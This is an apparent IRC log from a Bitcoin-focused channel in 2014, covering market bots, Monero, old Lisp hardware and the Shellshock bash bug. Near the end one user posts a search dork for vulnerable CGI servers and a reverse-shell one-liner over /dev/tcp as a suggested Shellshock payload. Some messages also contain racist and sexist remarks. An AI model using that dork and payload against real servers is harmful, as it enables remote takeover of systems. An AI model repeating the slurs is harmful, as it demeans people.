mircea_popescu: "Fluffypony, mircea popescu's asslicking troll buddy, watch out for these disinformation merchants also"
assbot: The Truth About Monero's Risto Pietila (rpietila XMR)
fluffypony: I had no idea you were all-in on Monero
mats_cd03: 20:08:34 <+fluffypony> I had no idea you were all-in on Monero
assbot: Logged on 09-09-2014 14:10:58; mircea_popescu: hey fluffypony do you plan to eventually sell the monero idea here once it reaches some sort of maturity or do you just plan to wait indefinitely for b-a to figure it out ?
mats_cd03: 20:08:59 <+mircea_popescu> i have no idea what monero even is.
mod6: RagnarDanneskjol: yeah, I noticed that. I'll work on it.
gribble: Error: "isdown" is not a valid command.
assbot: The Monero Free For All Thread
fluffypony: this entire "attack" has been such a fail
fluffypony: and literally all we did was roll a couple of extra checkpoints just in case, and asked exchanges to suspend deposits / withdrawals on the presumption of fireworks
fluffypony: waste of a good shit-show if you ask me
fluffypony: also can I get hanbot for our "sustained paid PR campaign" ?
xmj: fluffypony: how are your monero port efforts doing?
fluffypony: xmj: good, FreeBSD compataibility is being mainained
xmj: ever found a minion to create+submit a port for it that we could commit?
mircea_popescu: BitCoin-Express Basic. Unlimited Data Space Unlimited Monthly Traffic 1 Domain Hosted Free VPN Access (5 GB) Browsable Daily Backups
assbot: BitcoinEXpress - self made legend?
mircea_popescu: dude all these ephemereal legends nobody heard of, nobody'll hear of.
fluffypony: where is the "fluffypony - a legend's legend?" forum post
fluffypony: yeah bitcointalk has gone way past eternal September
atcbot: >> No data returned from CoinMiner.net << [PityThePool Hashrate]: 0.00 GH/s [iSpace Pool Hashrate]: 0 TH/s [P2P Hashrate]: 1.39 TH/s
atcbot: [P2P Hashrate]: 1.39 TH/s
atcbot: [iSpace Pool Hashrate]: 0 TH/s
mod6: RagnarDanneskjol: ok, all set.
mod6: If another month goes by without any coinminer data, i'll just pull it.
mod6: Just sick of seeing it without data. heheh.
mod6: oh, and RagnarDanneskjol, if you see that P2P pool changes its name to something else, let me know. thanks!
assbot: Metro-east news from Belleville, IL | Belleville News-Democrat
decimation: asciilifeform: I watched the Kalman Reti smbx video, got a flavor of the unqiueness of symbolics hardware
decimation: what intrigued me was the mention of the vlsi design software that was written in lisp
assbot: ESPN Suspends Bill Simmons Three Weeks Over Goodell Criticism
mircea_popescu: they're suspending these people now for what they SAY ?!
assbot: BitBet - Alibaba shares above 115 before November 25th :: 0.08 B (47%) on Yes, 0.09 B (53%) on No | closing in 1 month 3 weeks | weight: 92`819 (100`000 to 1)
assbot: Bitcoin Address 1BR82MnZ2XdYM1R7Csdg9oaaoz3qEbW3S2
assbot: BitBet - Billion dollar bet? :: 1.01 B (15%) on Yes, 5.72 B (85%) on No | closing in 5 months 1 week| weight: 96`757 (100`000 to 1)
assbot: Do gut bacteria rule our minds? | University of California
peterl: is it more likely that 2 million bitcoins will be bet on that bet or that the price of bitcoin will rise 1000x?
BingoBoingo: mircea_popescu: Not an athlete, a reporter. Suspended for... Gasp... Reporting!!!
assbot: [HAVELOCK] [HASH] 1000 @ 0.00149131 = 1.4913 BTC [+] {6}
cazalla: lol paypal increasing charge back period from 45 days to 180
cazalla: so now cheeky cunts can mine for 180 days and send it back for refund
ben_vulpes: <decimation> what intrigued me was the mention of the vlsi design software that was written in lisp << me too. has the source been lost?
decimation: that was my question. the follow-up question being: does the vlsi design exist (presumably in vhdl)?
peterl: I suppose the billion dollar bet could hit yes if btc/usd price and amount bet each go up ~30x
assbot: [MPEX] [S.MPOE] 21900 @ 0.00075321 = 16.4953 BTC [+]
mircea_popescu: a bet that was at 3k 6months out could conceivably end up in the 5-6 figures.
decimation: really the bet is brillant pr. media idiots love far-off artificial deadlines with artificial drama
BingoBoingo: The berkshire bet coul break 10k btc easily if BTC hits $700 in three months
decimation: if the scenario that peterl proposes comes remotely true, I suspect it will get love
assbot: BitBet - 1BTC >= $10,000 USD :: 75 B (9%) on Yes, 755.29 B (91%) on No | closing in 1 month 3 weeks | weight: 15`525 (100`000 to 1)
BingoBoingo: Right. While $600 to $400 this years was what... one, two months? It Bitcoin the falls are long and labored, but the rallies...
mircea_popescu: this is perhaps the only point of technical analysis with any merit.
peterl: so to get yes on brk-a bet, at this point btc would have to get over 666 usd, that doesn't seem that high yet bitbet is favoring no
mircea_popescu: peterl there's a latency. heavy no bets came in this week, perhaps not balanced oyut yet
BingoBoingo: <TheNewDeal> Drops happen fast as well? << Only really drops fast after decisive peaks
BingoBoingo: TheNewDeal: Maybe we measure time differently...
peterl: my tea leaves are saying RALLY!!!
TheNewDeal: And bitcoin years are like the hypothetical dog years
BingoBoingo: I mean last fall was the anomalie in that it has a rally whereas 2011 and 2012... stagnation...
BingoBoingo: And interesting question, right before it dropped to 0.7
TheNewDeal: Wasn't sure if it went 10 / 1 in the same year, or if that was the next.
gribble: Error: "timesincebitcoinwas10usd" is not a valid command.
assbot: An Illustrated History Of Bitcoin Crashes - Forbes
TheNewDeal: So it did cross 1:1 and 10:1 in 2011. I'd say that's an up year
BingoBoingo: Well, really it was probably the first year
TheNewDeal: Is that the year mt gox switched over from Magic the Gathering cards ;)
TheNewDeal: Just rapid-fired like 20 questions. Feel free to ignore them
BingoBoingo: Not ignoring so much as distracted, and the Google is a thing
decimation: asciilifeform: reminds me of chuck moore writing his own vlsi design in forth
decimation: it would be interesting if some rich prince 'rescued' the symbolics assets just for shits
TheNewDeal: ;;later tell ThickAsThieves any response on that foia yet?
decimation: I remember when beos was a thing, raging fast, low latency. too bad it petered out
decimation: I guess I'm thinking "must recreate xilinux crapware, mentor graphics crapware, & various glue code"
decimation: unfortunately, unless one is going mask one's own chips, we are stuck with fgpa's and rtl
assbot: Piston Pump, positive displacement pump
decimation: heh, you gonna make a pump for solder paste?
decimation: yep. what about the little micro-screw-needle
decimation: no the auger valve you wrote about a few months ago
assbot: Logged on 23-07-2014 03:10:06; asciilifeform: state of the art, it turns out, is 'auger valve' - think: small archimedes screw.
decimation: so you are going to build a 'better' glue squirter
decimation: So if you can control the fine pump pressure dynamically you might be able to prevent the 'drool' problem
decimation: yeah I guess there is no air in the chamber, so it's all incompressible
decimation: looks to me that a likely leakage path would be the upstroke phase - air could leak around the piston
TheNewDeal: may have just fixed my dial indicator. Feel like I working in a chinese sweatshop for the last half hour
nubbins`: odd coincidence, my dial test indicator showed up today
TheNewDeal: use them for a few things at work. One is to make sure that gears are meshed well enough
nubbins`: read that earlier, i have no dial test indicator ;(
decimation: is it because it would smash the solder balls?
TheNewDeal: hahaha I hardly constructed one. Just borrowed a tiny screwdriver from the tools that ship with the machine
BingoBoingo: <asciilifeform> (then i'd have to explain how this doesn't work, sadly, and for nonobvious reason) << it could work if instead you went for living fabrication machines as the Flinstones did.
decimation: couldn't you construct a really tiny paristaltic pump?
decimation: yeah I suspect as the ID of the tube approaches the size of the balls weird stuff would happen
BingoBoingo: <asciilifeform> peristaltic pump also stretches the tube if the business end is clogged (as it inevitably becomes) << In the prototypical models Magnesium citrate tends to clear this well.
decimation: yeah I was reading about how they ditched laser cut designs for photoetching
assbot: EEVblog #264 - SMD PCB Pick & Place Machine Assembly - YouTube
decimation: it's amusing that the solder paste machine is pretty much just a giant squeegee, but all dressed up
decimation: the other thing that interested me about the symbolics video was the fact that the machine had a global namespace
assbot: [HAVELOCK] [HASH] 1000 @ 0.00160809 = 1.6081 BTC [+] {5}
ben_vulpes: <asciilifeform> TheNewDeal: Feel like I working in a chinese sweatshop for the last half hour << i am glad to learn that i am not the only one who ended up constructing his own personal chinese sweatshop to toil in... << and how is this different from the making of a computer useful for software development?
ben_vulpes: homegrown low-budget machine shop: tools will refuse to stay in true for any significant period of time.
ben_vulpes: homegrown software hacking thinger: tools make imaginative, creative engineers regret career choices.
assbot: [HAVELOCK] [PETA] 970 @ 0.000603 = 0.5849 BTC [+]
gribble: Bitstamp BTCUSD ticker | Best bid: 419.51, Best ask: 420.73, Bid-ask spread: 1.22000, Last trade: 419.5, 24 hour volume: 14440.77357130, 24 hour low: 414.05, 24 hour high: 437.16, 24 hour vwap: 426.125415763
decimation: it is difficult to imagine a symbolics user in the late '80s with his persistent global namespace watch someone using DOS
mircea_popescu: one of the biggest promises of hard ai is the computer that slaps the human upside the head
mircea_popescu: ben_vulpes: le travail, c'est le travail << i like how philosophical marriage makes one. socrates had a point.
assbot: Software Does Not Fail
mircea_popescu: "Marketing is hard. We wrote an ebook." fucking shot these idiots already
decimation: asciilifeform: when Kalman Reti mentioned that the CADR had 'loadable microcode', is he implying that the early stuff (not ivory) had an underlying 'risc' like core?
mircea_popescu: if the archives bother you you can just make a dropdown
BingoBoingo: mircea_popescu: Yeah it's been a year. I also tried the dropdown thing, but... I rather like the comprehensive page of its own thing.
mircea_popescu: BingoBoingo the only third option i ever saw that made sense was on pg's site. J F M A M J J A S O N D line under line under line
assbot: Retrocomputing - MIT CADR Lisp Machines
mircea_popescu: still takes space and loads the page with a lot of html
assbot: Harry Potter and the Wonderful Wood Chipper, a harry potter fanfic | FanFiction
BingoBoingo: I might play with the archives again if their quarentine page gets too big...
mircea_popescu: notrly. interns generally learn how to stop drifting aimlessly around
mircea_popescu: and where the gates to careers are, how they look and how the ywork
decimation: "I swear on my magic that I will not put Hermione Granger into the Asplundh in the courtyard," Harry said solemnly, << lolwtf
decimation: lol really the 'chipper' in that case should be labeled 'justice 'system''
assbot: [MPEX] [S.MPOE] 12400 @ 0.00075278 = 9.3345 BTC [-]
gribble: Bitstamp BTCUSD last: 416.63, vol: 14415.25810677 | BTC-E BTCUSD last: 406.483, vol: 6393.85311 | Bitfinex BTCUSD last: 415.94, vol: 14382.35804622 | BTCChina BTCUSD last: 415.03549, vol: 36706.85810000 | Kraken BTCUSD last: 433.15178, vol: 2.14 | Bitcoin-Central BTCUSD last: 421.245, vol: 87.10099999 | Volume-weighted last average: 414.783925988
assbot: [HAVELOCK] [AM1] 108 @ 0.14010034 = 15.1308 BTC [-] {4}
ben_vulpes: what is this point of socrates' re marriage?
mircea_popescu: some guy asks socrates if he should marry. socrates says he should. if it works out he'll be happily married, if it doesn't he'll become a better philosopher.
ben_vulpes: <asciilifeform> ben_vulpes: if software were to start behaving like metal cut, most of the extant practitioners would fellate their pistols. << ask the maintainers of legacy software how they feel
ben_vulpes: it's not that software doesn't smack the operator, but that the operator smacked is rarely the one who wrote it in the first place.
mircea_popescu: now this is a point. decoupled risk and reward => moral hazard
ben_vulpes: there's something in here about buying others risk
gribble: Current Blocks: 322456 | Current Difficulty: 2.9829733124040417E10 | Next Difficulty At Block: 322559 | Next Difficulty In: 103 blocks | Next Difficulty In About: 14 hours, 42 minutes, and 51 seconds | Next Difficulty Estimate: 34669514327.2 | Estimated Percent Change: 16.22469
Vexual: did cazalla find any feedback loops regarding dcc?
assbot: [MPEX] [S.MPOE] 2401 @ 0.00075256 = 1.8069 BTC [-] {2}
assbot: [HAVELOCK] [RENT] 120 @ 0.0075 = 0.9 BTC [+]
Vexual: did asciilifeform solve paste dilemma?
Vexual: did mircea buy an island?
Vexual: did vulpes mom really turn off his computer?
assbot: [MPEX] [S.MPOE] 25522 @ 0.00075426 = 19.2502 BTC [+]
assbot: [HAVELOCK] [AM1] 5 @ 0.14355596 = 0.7178 BTC [+] {3}
Vexual: immma ut that in my little popescue journal here
xmj: youre alive again too
xmj: fluffypony: for lulz, did you see the couple getting married "on the blockchain" ?
xmj: libertarian friends of mine :3
xmj: somehow the BTC community is very tightly knit, it seems.
davout: what do i look like, bacteria?
davout: i do have a movie of fanny being attacked by clownfish tho
mircea_popescu: davout oh also, did you put your trip in the blockchain ? so the btc community can be really tight kniggit it seems ?
davout: they're protoandrous i think
davout: they change sex at some point
xmj: fluffypony: i'm bored too often. do you know anyone looking for a sysadmin? :)
xmj: I accept BTC payments, too! look i'm modern
xmj: fluffypony: ah well, worth trying ;)
Vexual: is it fortune or adventur that you seek xmj?
Vexual: tats a chicken and egg right thar
assbot: [HAVELOCK] [PETA] 1757 @ 0.00060995 = 1.0717 BTC [+]
Vexual: asia i s still underrepresented in assets
Vexual: wheres the indo guys? and bejing?
Vexual: since your not australian or a drunk
Vexual: we can't punch each other about the face and become lifelong friends
Vexual: you're more than welcome to reserve judgement for a decade
assbot: [MPEX] [S.MPOE] 12800 @ 0.00075408 = 9.6522 BTC [-]
assbot: [MPEX] [S.MPOE] 1800 @ 0.00075408 = 1.3573 BTC [-]
assbot: 18-Year-Old Fighting In Afghanistan Has 9/11 Explained To Him By Older Soldier | The Onion - America's Finest News Source
assbot: [MPEX] [S.MPOE] 14350 @ 0.00075408 = 10.821 BTC [-]
assbot: [MPEX] [S.MPOE] 749 @ 0.00075408 = 0.5648 BTC [-]
Vexual: 23-09-2014 12:10:33 <jurov> (some call it axe soup)
assbot: Troy Hunt: Everything you need to know about the Shellshock Bash bug
assbot: [MPEX] [S.MPOE] 10504 @ 0.00075302 = 7.9097 BTC [-] {4}
empyex: thestringpuller: [S.MPOE] Bids: 8200 @ 0.00075017 7555 @ 0.00075014 14500 @ 0.00074959 4200 @ 0.00074933
empyex: thestringpuller: [S.MPOE] Asks: 18800 @ 0.00075346 15333 @ 0.00075472 14700 @ 0.00075473 9461 @ 0.00075553
jurov:
https://bitpieces.com/ "Creators are *required* to pay rewards to their funders, starting out small, and growing as they grow their brand."
jurov: emphasis theirs. dis gon b gud.
ThickAsThieves: ;;later tell TheNewDeal <TheNewDeal> any response on that foia yet? /// since youve been singling me out, I wanna clear up that, while I did email them an inquiry long ago, I did not personally submit a FOIA request. I simply know of a couple netizens that did. You can expect news to spread fast once(if) it happens.
☟︎ ThickAsThieves: wouldnt the net be a better place if all used same standard?
assbot: [MPEX] [S.MPOE] 9800 @ 0.00075346 = 7.3839 BTC [+]
mats_cd03: i have finally discovered a cheese that i find palatable: pepper jack.
mats_cd03: theres something about most cheese that makes me retch
mats_cd03: i usually have to pair it with meat to even be consumable
mats_cd03: 23:16:36 <+asciilifeform> mats_cd03: practical-file-system-design << old favourite of mine.<< i am also busy consuming 'principles of program analysis' by nielson and friend.
mats_cd03: there is something special about morning coffee time after a long hiatus with tea as a substitute
assbot: Science Confirms The Bigger The Belly, The Better The Lover / Queerty
ThickAsThieves: such lol "So let’s say a guy has sex 100 times annually. If he has a belly, he’s going to spend approximately eight hours — an entire work day — more per year penetrating his lover than if he has a six-pack. That’s a substantial amount of time."
ThickAsThieves: "More belly fat, scientists say, means a man has more estradiol, a female sex hormone that helps to inhibit orgasm."
cazalla: i think i read somewhere before fatties last longer because lower test means they're more inclined to think about the womans pleasure
assbot: BtcAlpha.com F.MPIF Tracker estimated NAV per share: 0.00021650 B (Total: 473.44 B). Delta: -1.08 B. Last trade for F.MPIF on MPEX was at 0.00020614 BTC [-]
mats_cd03: the original study is about premature ejaculation, but the abstract doesnt describe the definition.
mats_cd03: at least, not without a ... $4 rental service.
assbot: [HAVELOCK] [PETA] 1300 @ 0.00058241 = 0.7571 BTC [-] {5}
assbot: GIRLS und PANZER () (Katyusha) [10 hours version] HD - YouTube
ThickAsThieves: so i paid to have Lowes install a garage door on a rental property, 2mos later it finally happens (skipping some headache details) and they dont actually fully install it and they show me a forged report with my signature
mats_cd03: i don't want to paint a broad brush here,
mats_cd03: but every contractor in the world is a miserable, lying thief.
chetty: haha nah thats not a broad brush ....
ThickAsThieves: also Lowes subcontracts tyhe work of course, and then this sub subbed it out again
kakobrekla: lucky it didnt blow your house up... cause you know, these things happen.
ThickAsThieves: the Contest Charges button is broken on my credit card too
mats_cd03: whats the relation between kindergarten and contest charges?
chetty: the workings of current business are running at kindergarten levels?
chetty: omg, paypal is safe??? hahahahaha
ThickAsThieves: it's not a real man, it's face morph of all the men in their target audience
chetty: true, but paypal does stuff like freeze accounts, just because
ThickAsThieves: sure, i'm not here to defend paypal, but i can appreciate the ad
chetty: must it get any worse before it starts getting better?
mats_cd03: is it a net loss -- scammers accumulating wealth, and the stupid losing theirs?
kakobrekla: mps theory is scammers are unable to accumulate wealth
rithm: ThickAsThieves if you could finish that sentence with "don't try" it would be complete
rithm: maybe... don't try kids
rithm: i could use just a little bit more hopelessness?
assbot: Man has 100 orgasms a day after back injury
rithm: that video is priceless
assbot: [MPEX] [S.MPOE] 5600 @ 0.00075017 = 4.201 BTC [-]
assbot: Ok, shits real. Its in the wild... src:162.253.66.76
rithm: that's shellshock in the wild apparently
assbot: ShellShock exploited in the wild: kernel exploit with CnC component | Hacker News
rithm: those who operate public facing embedded type webservers that might call on shell scripts and the like
assbot: NSA Simulator - Watch Live Security Cams!
kakobrekla: ip camera in bedroom, always a good idea.
assbot: NSA Simulator - Watch Live Security Cams!
assbot: Huobi Sends $400k to Wrong User Accounts
bounce: looking at cameras makes you a "hacker" now. what does that these peeps make? they SCRIPTED the looking at security cameras. surely that's EXCEPTIONAL SKILL and so they're not merely HACKERS, they're VERY DANGEROUS UBERHACKERS
kakobrekla: ok so: which animal typed this: <iNanca> cndjkfhuasdy
ThickAsThieves: also, i'm okay with "hacker" meaning someone who can hack shit together to do rare shit
bounce: that nsasimulator site, first paragraph, last sentence
ThickAsThieves: technicality really, he never says the hackers need to hack
bounce: since they clearly did it...
ThickAsThieves: i think you need to brace yourself for the broader definition of hacking
bounce: we're already there. "hacker" means "cyberbogeyman" now.
ThickAsThieves: in 20 years, hacking will mean learning or doing anything useful
bounce: it'll be reviled all the same. you can read? therefore you are a hacker. therefore you lose your fourth amendment rights.
mats_cd03: this nonversation about definitions was old twenty years past
bounce: tsunamis have happened for aeons. yet we like forewarning and protection. youse a bunch of nimby sayers, mats says. no fighting the inevitable!
bounce: the deeper problem with the terminology is that it no longer means anything useful and so gets used like the smurfs use smurfing. and lo and behold, the computer security is just about as useful.
bounce: s/security/& industry/
chetty: or, the inevitable is the only thing worth fighting
chetty: does security exist in nature?
bounce: that's a really strong argument. fits just about anywhere. "can't have 100% security anywhere, might as well give up".
bounce: and hello ad hominem. noted.
ThickAsThieves: well it's relevant, no? You are behaving the same as what pisses you off. Broadening definitions to suit your degree of being offended.
ThickAsThieves: just because i suggets nothing is "really secure" does not mean that I am saying security is a waste of time
bounce: the "anyway" did that pretty much, yeah
bounce: well, who were you talking to then?
mike_c: meet behind the school at noon
ThickAsThieves: i was only pointing out that the illusion of security most people hold is long gone
ThickAsThieves: none of my comments on the state of security were meant to comment on how bounce does security or about what bounce thinks about security
ThickAsThieves: i apologize for such a broad stroke if they seemed otherwise
bounce: well, that's the problem innit? people still pay for security (see size of computer security industry) yet are getting none, or at least much less than they should be getting
mats_cd03: i delay the battles i cannot win and fight with haste otherwise
bounce: now it would help if we can properly articulate what ails us. but we can't, because the terminology has been deliberately confused and watered down and broadened and stretched (by the industry) so as to spread FUD more effectively
assbot: Sept. 23: ISIL compound strike - YouTube
jurov: is anyone willing to pay "we have read the code for you" kind of security?
ThickAsThieves: if i were to attempt articulating it, I'd say it's a focus on convenience over robustness, ignorance over understanding, etc
bounce: it's a bit like... well, calling everyone who does anything wrong a "wrongdoer", regardless of the details of the crime. do that consistently and there's no discernible difference between a mass murderer and a petty thief, or even someone telling you you left the keys in the door and don't forget to close up, guv.
jurov: redhat would be in a position to do it..but perhaps their current bezzle makes better $$$
ThickAsThieves: i often think about that, how the hell can someone who cannot/willnot read code, ever be the steward of a software project safely?
bounce: plenty money hiring people to do the reading and lots of lawyers to paper over the obvious problems with threats of large fines
nubbins`: they key is "safely", and you have your answer :)
ThickAsThieves: all it takes is one rogue programmer to plant a shellshock, no?
assbot: Lethal Software Defects: Patriot Missile Failure « Barr Code
jurov: ThickAsThieves huh? they do have people able to read the code. only currently they spew new one instead
assbot: [MPEX] [S.MPOE] 11600 @ 0.00075451 = 8.7523 BTC [+] {2}
bounce: so now you need a radar detector detector detector in your radar detector
ThickAsThieves: is there a trustworthy wot-signed document of an auditor saying any version of bitcoin is safe?
nubbins`: who you gonna trust to audit it?
nubbins`: surely not a company with employees
jurov: you need multiple independent reports
jurov: no one will risk their rep over C++ mess
ThickAsThieves: kinda funny tho, some people will say Armory, no, Electrum, no Mycelium, no Core, but none are audited anywhere
jurov: i have a little hope for haskoin, it's nicely done
assbot: dpaste: 08S88J2: Patching #ShellShock in OS X
TomServo: Would an audit even be useful without a specification?
ThickAsThieves: like was said earlier, <+mats_cd03> i delay the battles i cannot win and fight with haste otherwise
ThickAsThieves: TomServo, my stance would be that any attempt to see how hard a wallet is would be a start
jurov: wallet isn't so hard
jurov: mining is crux of it
ThickAsThieves: like the guy who made that coin that instamined, and we discovered block reward just resets
ben_vulpes: <ThickAsThieves> i often think about that, how the hell can someone who cannot/willnot read code, ever be the steward of a software project safely? << for legacy projects i generally angle for an audit phase.
nubbins`: i think i'm going to start only quoting the winkdex for the btc/usd price
ben_vulpes: how else am i to know what i'm getting into?
ThickAsThieves: ben_vulpes and how often does audit result in actual project being started from scratch to suit your team/current tech?
mike_c: security audit is basically impossible.
jurov: ;;later tell asciilifeform after seeing the lisp machine vid, i remembered there is a contemporary cpu with accessible microcode - transmeta crusoe. only problem i see they worked with torvalds not naggum... but maybe something can be salvaged?
ThickAsThieves: i suppose it's not a job for auditors, it's a job for hackers
ThickAsThieves: pretty great argument for them really, not that it's a new one
ben_vulpes: <jurov> i have a little hope for haskoin, it's nicely done << last i checked it was just an rpc wrapper, has it grown much?
mike_c: i am a fan of the security bug bounties (if they are sizable). gives hackers a way to do their thing and get paid legally.
jurov: in half a day i made it actually talk to altcoind (altcoiners, watch your .altcoin/debug.log ;) )
assbot: [MPEX] [S.MPOE] 5017 @ 0.00075473 = 3.7865 BTC [+]
jurov: i plan to try building full node, with atc the blockchain fits in memory
assbot: Researcher shows that black holes do not exist
ben_vulpes: ThickAsThieves: honestly it's a play to get some time to read the code and fuck around with tests before clients start asking for features.
lobbes: 'The paper, which was recently submitted to ArXiv, an online repository of physics papers that is not peer-reviewed' << hmm
ben_vulpes: there's this impossible-to-circumvent 60-hr onboarding window with new devs on old projects.
jurov: i like atc more, playing with real stuff
jurov: also, satoshi 0.9.x is incredibly paranoid, once you send malformed message it blocks you for several hours
jurov: atc is more slutty
bounce: oh dear. no black holes. no singularity. then what of the technological singularity?
mats_cd03: youtu.be/vtKAsveYWAQ man does an explosive cartwheel
nubbins`: they say black holes don't exist, but offer no explanation for what the things we've been calling black holes are
lobbes: and the paper wasn't even peer reviewed
nubbins`: i'm going to submit a paper about how submarine sandwiches don't exist
assbot: Army chief: Division headquarters will deploy soon to Iraq | Army Times | armytimes.com
nubbins`: they can't form, the flour from the bread would get mixed in with the maynnaise
bounce: ``However, in her new work, Mersini-Houghton shows that by giving off this radiation, the star also sheds mass.'' -- so hawking radiation means you're looking at an imploding and evaporating ex-star
bounce: also, I'll peer review your paper in return for a couple subs
mats_cd03: better than fighting american negroids i guess
nubbins`: tat that's a pretty fancy car to be crashing into a rock face
nubbins`: probably just a celica w/ a body kit or something
nubbins`: actually, is that an audio logo on the front wheel?
assbot: [0/12] HODL silkscreened t-shirts
mike_c: hilarious, but i'm with BingoBoingo on BTC tshirts
mats_cd03: protip - avoid us hospitals in july. new doctors are rotated in during that period.
mats_cd03: also, if you are poor or need superior treatment in a pinch, go to a va or teaching hospital.
nubbins`: ;;calc 0.084457*[ticker --last]
nubbins`: it's what you do instead of selling
assbot: [MPEX] [S.MPOE] 10155 @ 0.00075014 = 7.6177 BTC [-] {2}
nubbins`: they're like birds, new things are scary
assbot: Loper OS » Don’t Blame the Mice.
assbot: [HAVELOCK] [PETA] [PAID] 4.17445644 BTC to 1`149`988 shares, 363 satoshi per share
assbot: [HAVELOCK] [AM1] 5 @ 0.14479999 = 0.724 BTC [+] {2}
assbot: [HAVELOCK] [AM1] 5 @ 0.14499998 = 0.725 BTC [+] {2}
assbot: [MPEX] [S.MPOE] 7150 @ 0.00075473 = 5.3963 BTC [+]
gribble: Bitstamp BTCUSD ticker | Best bid: 410.94, Best ask: 411.39, Bid-ask spread: 0.45000, Last trade: 411.4, 24 hour volume: 15061.17519887, 24 hour low: 400.0, 24 hour high: 433.0, 24 hour vwap: 415.60067359
mircea_popescu: if you're going there why not root for fiddy cent sdirectly.
nubbins`: where in the fuck did i put my soldering iron? srsly.
nubbins`: nah i quit gov't work long ago
nubbins`: gotta be quick if you wanna !b
mircea_popescu: jurov: emphasis theirs. dis gon b gud. <<< in that particular way...
ben_vulpes: ThickAsThieves: jezz is around, and ozbot responds in pm, but it's not in chan.
mircea_popescu: kakobrekla: o look, 1.271 << totally picked the wrong time to close down teh fund
mircea_popescu: kakobrekla: barely over retard. <<< nah you're just too young to have a clear memory of the 90s :D
ThickAsThieves: interesting that throw this downturn, NMC has actually been the least affected
mircea_popescu: ThickAsThieves: like i couldnt recognize my own sig... << the hand signature thing in the us is nuts by now.
ThickAsThieves: i was thinkin, why didnt they just scan forge it, cmon now
assbot: Amazon forced to reboot EC2 to patch Xen bug - Storage - News - iTnews.com.au
mircea_popescu: mats_cd03: but every contractor in the world is a miserable, lying thief. << because you pay upfront.
mircea_popescu: i only pay on reception, and if acceptable. never had anything but the loveliest most serviceable contractors.
mircea_popescu: and if you can't find people who work like that, you're not in a good country to do business, quit the bezzlathron and move.
mats_cd03: i can't afford to flee. i have yet to bump four digit vidya game coins.
assbot: [HAVELOCK] [B.MINE] [PAID] 1.27252613 BTC to 15`097 shares, 8429 satoshi per share
mats_cd03: yes for the first, no for the second. 1000btc is my goalpost.
mircea_popescu: mats_cd03 owning like 1% of 1% of the world's currency ain't the worst fate.
ThickAsThieves: particularly when you consider how few will ever hold that many
mircea_popescu: ThickAsThieves: it's not a real man, it's face morph of all the men in their target audience <<< this. it's probably the real point of facebook.
mircea_popescu: "pay us money, you get a facemorph of all the people in your demo."
mats_cd03: my principle concern is getting to 1000btc. i don't know if it can be done, at the current rate of career progression... i need a better job.
mike_c: perhaps not. we didn't see double digits (yet) this year
ThickAsThieves: maybe if mp loses La Guerra Serenísima, or Satoshi needs some cash
mircea_popescu: they didn't understand there's a mp. it hurt. won't repeat mistakes next time.
mircea_popescu: anyone thinks they can do anything. all vanity, no humility, as if the latter's the sin and the former the virtue.
nubbins`: so apparently they found a backdoor in the shellshock patch on github, hey?
assbot: Argentina uses drones to root out wealthy tax evaders - Telegraph
mircea_popescu: either someone on the ground here pulled a practical joke at the "media" expense, or else us folk running off to argentina is becoming a problem for the minitruth
assbot: Gear Love Will Inc. and BitPay at Georgia Tech
rithm: The Love Will team presented students with information about Bitcoin transactions, mobile hot wallets, and rolled out their new ‘Jacket Wallet’, a customized Pheeva hot wallet, specifically for Georgia Tech students and faculty, available on android and in the app store soon. The team plans to create this type of customized wallet at every university that begins to accept Bitcoin on campus.
rithm: i've been thinking bitpay's bowl gam sponsorship was a play to get bitcoin in ncaaa stadiums
rithm: now you got alumni doing the mit thing
rithm: the bitcoin society is most likely fraternal too if I had to bet
rithm: some type of judeo christian ritual involved
rithm: but now i sound like atlas
gribble: Next difficulty estimate | 34531182382.2 based on data since last change | 33722683398.9 based on data for last three days
bounce: waiting for the wealthy to hit back with an automated drone catcher to shoot the things out of the air
kakobrekla: mebbe its more fear of machines than taxes
kakobrekla: but combine the both and you get a selling sensation
bounce: of course they /could/ have done all that with ordinary planes, except rules. there's no rules for this yet, so some enterprising clerk or other can just order renting such a thing out of the petty cash.
chetty: you need an airplane to discover a house?
bounce: dunno. if it's large enough plots with lots of trees, maybe.
Naphex: woot, so bash env backdoor, who would've tought :o
Naphex: people running CGI must be blowing their minds right now
jurov: ;;titlasers should be a thing
gribble: Error: "titlasers" is not a valid command.
nubbins`: the bigger question is why you airbrushed your fingertips
nubbins`: "those tippies are unusually smooth", i said to myself
Naphex: lots of .govs love it too
Naphex: they're quick to update
Naphex: inurl:cgi-bin env.pl - assume direct control
Naphex: fine, pretty boring actually
assbot: Whoops! Somebody divided by zero... | btcXchange.ro - Bitcoin Exchange Platform with 0% transaction fees
Naphex: what a stupid payload to even ping back
Naphex: could've just used a reverse echo "code" >& /dev/tcp/8.8.8.8/8080 0>&1
mircea_popescu: "Username/password combinations don’t cut it anymore, and Two-Factor authentication is a great way to help secure user accounts. If you have an account with a system that supports it, you should be using it."
assbot: MFSA 2014-73: RSA Signature Forgery in NSS
mircea_popescu: in unrelated news : i've added an email filter rule to drop anything with "bounce" in the headers. best rule ever.
mircea_popescu: ThickAsThieves: they wanna jedi mind trick the fappening and NSA etc << there's probably a feminst and an environmentalist somewhere in the us that actually will buy into it.
mircea_popescu: bounce: VERY DANGEROUS UBERHACKERS << ever see a woman with a little girl trying to cook while the little girl stirred some random items in a smaller pot immitating her ?
mircea_popescu: this is exactly what's going on. kids are wired to monkey, so they monkey.
mircea_popescu: asciilifeform the guy is a 65 lb environmentalist vegan artist with a lot of etsy success, on lesswrong and patronize or w/e that donation site is.
mircea_popescu: the feminist is a 650 lb mountain dew and icecream behemoth with a very popular twitter profile, and a lot of lj experience.
mircea_popescu: after he rolls her around in flour to see where it sticks they have long soulfull talk
mircea_popescu: and decide that condoms are bad for africa and pills bad for the environment
mircea_popescu: since they can't find a sponge that comfortably fits a calender
jurov: asciilifeform: me too. but that's the usg-approved look
gribble: Dekker3D was last seen in #bitcoin-assets 11 weeks, 4 days, 0 hours, 40 minutes, and 47 seconds ago: <Dekker3D> I remember someone who used this.
mircea_popescu: mats_cd03: language drifts news at 11 << language drifting so as to serve the interests and needs of the upper class is fine.
mircea_popescu: this bullshit where the lower classes are pushing the language out of shape because they're filthy and stupid can not be tolerated.
mircea_popescu: chetty: does security exist in nature? << yes, actually. entropy securely flows one way, and god help you if you mess with mass conservation.
mike_c: seemed to be heading that direction :)
assbot: KernelMode.info • View topic - Linux/Bash0day alias Shellshock alias Bashdoor
